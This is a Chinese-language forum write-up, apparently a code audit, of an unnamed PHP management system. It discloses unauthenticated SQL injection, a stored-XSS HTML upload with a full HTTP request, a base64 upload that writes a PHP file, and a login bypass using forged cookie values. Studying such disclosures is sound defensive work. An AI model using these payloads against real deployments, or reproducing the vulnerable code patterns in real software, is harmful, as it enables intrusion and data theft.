未授权访问漏洞+前台SQL注入漏洞

发现数个文件存在未授权访问漏洞。究其原因没有包含鉴权文件checklogin.php


同时发现这个文件几个参数在拼接时没有进行过滤存在很明显的SQL注入漏洞。

if($suserxm!=''){
$sql=$sql." and userxm like '%$suserxm%'";
}
if($sjiabie!=''){
$sql=$sql." and jiabie like '%$sjiabie%'";
}
if($smudidi!=''){
$sql=$sql." and mudidi like '%$smudidi%'";
}
if($sniandu!=''){
$sql=$sql." and niandu like '%$sniandu%'";
}
$sql=$sql."  ORDER BY id asc LIMIT ".($pindex - 1) * $psize.','.$psize;
   $list =$db->fetchall($sql);



相似的这个目录下很多类似文件但是其他的都有做鉴权,所以可以说是后台注入,这里就不提了。

同时juese.php也存在类似问题

$sql="SELECT *  FROM ".$db->tablename('juese') ." WHERE id>0";
if($key!=''){
$sql=$sql." and juese like '%$key%'";
}
$sql=$sql."  ORDER BY id asc LIMIT ".($pindex - 1) * $psize.','.$psize;
   $list =$db->fetchall($sql);


switch ($_GET['action']) {
   case 'zidian':
    $zidian=$_GET['fenlei'];//获取id
      $sql="SELECT *  FROM ".$db->tablename('vxiangmu') ." WHERE zidian='$zidian'";
         $list =$db->fetchall($sql);

前台文件上传漏洞造成存储型XSS

寻思还有个未鉴权文件upload.php和upfile.php文件不能浪费啊,可好像都白名单写死了。但是在upload.php发现了端倪,这可以传html。

这里要手动传参dir=file,要不然会默认当成image类型处理

POST /upload.php?dir=file HTTP/1.1
Host: 192.168.19.25:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=eb570d137174d94106f5bc0a
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywlAMbJmcCIjUNS80
Content-Length: 178

------WebKitFormBoundarywlAMbJmcCIjUNS80
Content-Disposition: form-data; name="file";filename="1.html"

<script>alert(1)</script>
------WebKitFormBoundarywlAMbJmcCIjUNS80--

前台文件上传漏洞

这个未授权的文件很有意思,本意应该是想使用base64编码功能去写入图片,但是稍加修改即可传入恶意文件。

传入的$img前面必须要是以data:image/文件格式;base64,开头 然后后面跟上base64编码即可。然后$result[2]就是正则表达式中第二个()的部分,即为\w+ $result[1]就是最外面的括号即正则匹配部分data:image/php;base64, 所以直接写入就OK了,提一嘴本来想写入的是<?php phpinfo();?> 但是不知道为啥写入后自动去掉了> 所以索性直接传<?php phpinfo();

<?php

$img = $_POST['imgbase64'];
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $img, $result)) {
    $type = ".".$result[2];
    $path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;
}
$img =  base64_decode(str_replace($result[1], '', $img));
@file_put_contents($path, $img);
exit('{"src":"'.$path.'"}');


逻辑缺陷登陆绕过漏洞

前面的SQL注入都是未包含鉴权文件checklogin.php引起的,那我们可以去观察下这个文件。发现鉴权写的有很多问题,只要保证以下参数值不为空且存在即可绕过。
Cookie: id=1; loginname=1; jueseid=1; danweiid=1; quanxian=1;

function islogin(){
   if(isset($_COOKIE['id'])&&isset($_COOKIE['loginname'])&&isset($_COOKIE['jueseid'])&&isset($_COOKIE['danweiid'])&&isset($_COOKIE['quanxian'])){
      if($_COOKIE['id']!=''&&$_COOKIE['loginname']!=''&&$_COOKIE['jueseid']!=''&&$_COOKIE['danweiid']!=''&&$_COOKIE['quanxian']!=''){
          return true;
      }


点击收藏 | 0 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖